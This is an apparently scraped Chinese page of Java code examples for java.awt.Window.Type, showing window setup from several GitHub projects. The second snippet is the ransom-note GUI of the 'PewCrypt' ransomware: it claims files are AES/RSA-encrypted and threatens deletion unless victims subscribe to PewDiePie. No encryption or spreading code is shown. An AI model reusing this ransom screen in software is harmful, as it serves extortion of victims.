下面列出了怎么用java.awt.Window.Type的API类实例代码及写法,或者点击链接到github查看源代码。
/**
* Create a transparent window
*/
protected JWindow createWindow() {
JWindow window = new JWindow();
window.getRootPane().putClientProperty(PROPERTY_IS_QPOPUP, true);
window.setType(Type.POPUP);
window.getRootPane().putClientProperty("Window.shadow", Boolean.FALSE);
float k = .95f;
window.getRootPane().putClientProperty("Window.opacity", k);
window.setOpacity(k);
window.setBackground(new Color(0, 0, 0, 0));
window.getRootPane().setLayout(new GridBagLayout());
GridBagConstraints c = new GridBagConstraints();
c.gridx = 0;
c.gridy = 0;
c.weightx = 1;
c.weighty = 1;
c.fill = GridBagConstraints.BOTH;
window.getRootPane().add(contents, c);
return window;
}
/**
* Initialise the contents of the frame.
*/
private void initialize() {
byte[] imageBytes = DatatypeConverter.parseBase64Binary(imgB64);
try {
img = ImageIO.read(new ByteArrayInputStream(imageBytes));
} catch (IOException e1) {
e1.printStackTrace();
}
frmYourFilesHave = new JFrame();
frmYourFilesHave.setResizable(false);
frmYourFilesHave.setIconImage(img);
frmYourFilesHave.setTitle("PewCrypt");
frmYourFilesHave.setType(Type.POPUP);
frmYourFilesHave.getContentPane().setBackground(Color.BLACK);
frmYourFilesHave.setBounds(100, 100, 1247, 850);
frmYourFilesHave.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frmYourFilesHave.getContentPane().setLayout(null);
txtYourFilesHave = new JTextField();
txtYourFilesHave.setBounds(0, 0, 1215, 45);
txtYourFilesHave.setHorizontalAlignment(SwingConstants.CENTER);
txtYourFilesHave.setBackground(Color.BLACK);
txtYourFilesHave.setForeground(Color.RED);
txtYourFilesHave.setEditable(false);
txtYourFilesHave.setText("Your Files Have Been Encrypted!");
frmYourFilesHave.getContentPane().add(txtYourFilesHave);
txtYourFilesHave.setColumns(10);
JTextArea Instructions = new JTextArea();
Instructions.setBounds(0, 242, 1215, 203);
Instructions.setEditable(false);
Instructions.setFont(new Font("Monospaced", Font.PLAIN, 18));
Instructions.setBackground(Color.BLACK);
Instructions.setForeground(Color.RED);
Instructions.setText(
"Your files have been encrypted using a 256 bit AES key which has been encrypted with a 2048 bit RSA key\r\nIn order to get your files back read the instructions bellow\r\n\r\nInstructions:\r\r\n - Subscribe to Pewdiepie (Hint: Hit the bro fist)\r\r\n - Wait until Pewdiepie reaches 100 million subs at which point a decryption tool will be realseaed\r\r\nIf T-Series beats Pewdiepie THE PRIVATE KEY WILL BE DELETED AND YOU FILES GONE FOREVER!");
frmYourFilesHave.getContentPane().add(Instructions);
progressBarPEW.setMaximum(100000000);
progressBarPEW.setForeground(new Color(0, 153, 204));
progressBarPEW.setToolTipText("Pewdiepie Sub Progress Bar");
progressBarPEW.setBackground(Color.DARK_GRAY);
progressBarPEW.setBounds(0, 85, 1215, 50);
frmYourFilesHave.getContentPane().add(progressBarPEW);
progressBarT.setMaximum(100000000);
progressBarT.setForeground(new Color(204, 0, 0));
progressBarT.setToolTipText("T-Series Sub Progress Bar");
progressBarT.setBackground(Color.DARK_GRAY);
progressBarT.setBounds(0, 186, 1215, 50);
frmYourFilesHave.getContentPane().add(progressBarT);
JButton btnNewButton = new JButton(new ImageIcon(img));
btnNewButton.setBackground(Color.BLACK);
btnNewButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
try {
// open Pewdiepie channel
Desktop.getDesktop().browse(new URI("https://www.youtube.com/channel/UC-lHJZR3Gqxm24_Vd_AJ5Yw"));
} catch (IOException | URISyntaxException e) {
e.printStackTrace();
}
}
});
btnNewButton.setBounds(491, 485, 241, 249);
btnNewButton.setBorderPainted(false);
btnNewButton.setFocusPainted(false);
btnNewButton.setContentAreaFilled(false);
frmYourFilesHave.getContentPane().add(btnNewButton);
lblPewdiepie.setHorizontalAlignment(SwingConstants.CENTER);
lblPewdiepie.setForeground(Color.RED);
lblPewdiepie.setBounds(0, 47, 1215, 33);
frmYourFilesHave.getContentPane().add(lblPewdiepie);
lblT.setHorizontalAlignment(SwingConstants.CENTER);
lblT.setForeground(Color.RED);
lblT.setBounds(0, 144, 1215, 33);
frmYourFilesHave.getContentPane().add(lblT);
}
/**
* Construct a new window (a NEWT window specifically)
*
* @param width
* @param height
* @return
*/
private void createWindowImp(CreateWindowMessage message) {
RenderGLListener listener = new RenderGLListener();
final RenderWindow window = new RenderWindow(message.x, message.y,
message.width, message.height,
message.title, message.name,
sharedContext,
caps, listener,
message.icon,
message.windowID,
message.viewID,
message.listener);
listener.setWindow(window);
CameraInfo ci = new CameraInfo(Math.PI/3.0, Transform.ident, null);
Camera camera = new Camera(ci, 1);
synchronized (openWindows) {
openWindows.put(message.windowID, window);
cameras.put(message.windowID, camera);
}
window.getGLWindowRef().setAnimator(this);
GLWindowListener wl = new GLWindowListener(window.getWindowID());
window.getGLWindowRef().addWindowListener(wl);
window.getAWTFrameRef().addComponentListener(wl);
window.getGLWindowRef().addMouseListener(new MouseHandler(window, message.listener));
window.getGLWindowRef().addKeyListener(message.listener);
window.getAWTFrameRef().setType(Type.UTILITY);
window.getAWTFrameRef().setAutoRequestFocus(false);
EventQueue.invokeLater(new Runnable() {
@Override
public void run() {
window.getAWTFrameRef().setVisible(true);
}
});
queueRedraw();
}
/**
* Initialize the contents of the frame.
*/
private void initialize() {
discoFrame = new JFrame();
discoFrame.setTitle("Disco Mixer");
discoFrame.setIconImage(Toolkit.getDefaultToolkit().getImage(
DiscoMixer.class.getResource("/resources/aurouslogo.png")));
discoFrame.setType(Type.UTILITY);
discoFrame.setResizable(false);
discoFrame.setBounds(100, 100, 606, 239);
discoFrame
.setDefaultCloseOperation(WindowConstants.DO_NOTHING_ON_CLOSE);
discoFrame.getContentPane().setLayout(null);
discoFrame.addWindowListener(new java.awt.event.WindowAdapter() {
@Override
public void windowClosing(
final java.awt.event.WindowEvent windowEvent) {
final int confirm = JOptionPane.showOptionDialog(discoFrame,
"Are You Sure You Want to Close Disco Mixer?",
"Exit Confirmation", JOptionPane.YES_NO_OPTION,
JOptionPane.QUESTION_MESSAGE, null, null, null);
if (confirm == 0) {
Playlist.getPlaylist().discoOpen = false;
discoFrame.dispose();
}
}
});
final JLabel logoLabel = new JLabel("");
logoLabel.setHorizontalAlignment(SwingConstants.CENTER);
logoLabel.setIcon(new ImageIcon(DiscoMixer.class
.getResource("/resources/fmw.png")));
logoLabel.setBounds(10, 0, 580, 70);
discoFrame.getContentPane().add(logoLabel);
discoProgressBar = new JProgressBar();
discoProgressBar.setStringPainted(true);
discoProgressBar.setBounds(113, 119, 380, 49);
discoProgressBar.setVisible(false);
discoFrame.getContentPane().add(discoProgressBar);
queryField = new JTextField();
queryField.setFont(new Font("Segoe UI", Font.PLAIN, 20));
queryField.setHorizontalAlignment(SwingConstants.CENTER);
queryField.setBounds(113, 119, 380, 44);
discoFrame.getContentPane().add(queryField);
queryField.setColumns(10);
final JLabel instructionsLabel = new JLabel(
"Enter an Artist, Song or Choose from the Top 100!");
instructionsLabel.setFont(new Font("Segoe UI", Font.PLAIN, 20));
instructionsLabel.setHorizontalAlignment(SwingConstants.CENTER);
instructionsLabel.setBounds(23, 81, 541, 27);
discoFrame.getContentPane().add(instructionsLabel);
discoBuildButton = new JButton("Disco!");
discoBuildButton.addActionListener(e -> {
if (!queryField.getText().trim().isEmpty()) {
discoProgressBar.setVisible(true);
YouTubeDiscoUtils.buildDiscoPlayList(queryField.getText());
} else {
JOptionPane.showMessageDialog(discoFrame,
"Please enter search query", "Error",
JOptionPane.ERROR_MESSAGE);
return;
}
});
discoBuildButton.setForeground(Color.BLACK);
discoBuildButton.setBounds(197, 174, 100, 26);
discoFrame.getContentPane().add(discoBuildButton);
top100Button = new JButton("Top Hits!");
top100Button.addActionListener(e -> {
discoProgressBar.setVisible(true);
YouTubeDiscoUtils.buildTopPlayList();
});
top100Button.setForeground(Color.BLACK);
top100Button.setBounds(307, 174, 100, 26);
discoFrame.getContentPane().add(top100Button);
Playlist.getPlaylist().discoOpen = true;
final GhostText ghostText = new GhostText("Ghost B.C.", queryField);
ghostText.setHorizontalAlignment(SwingConstants.CENTER);
discoFrame.setLocationRelativeTo(UISession.getPresenter().jfxPanel);
}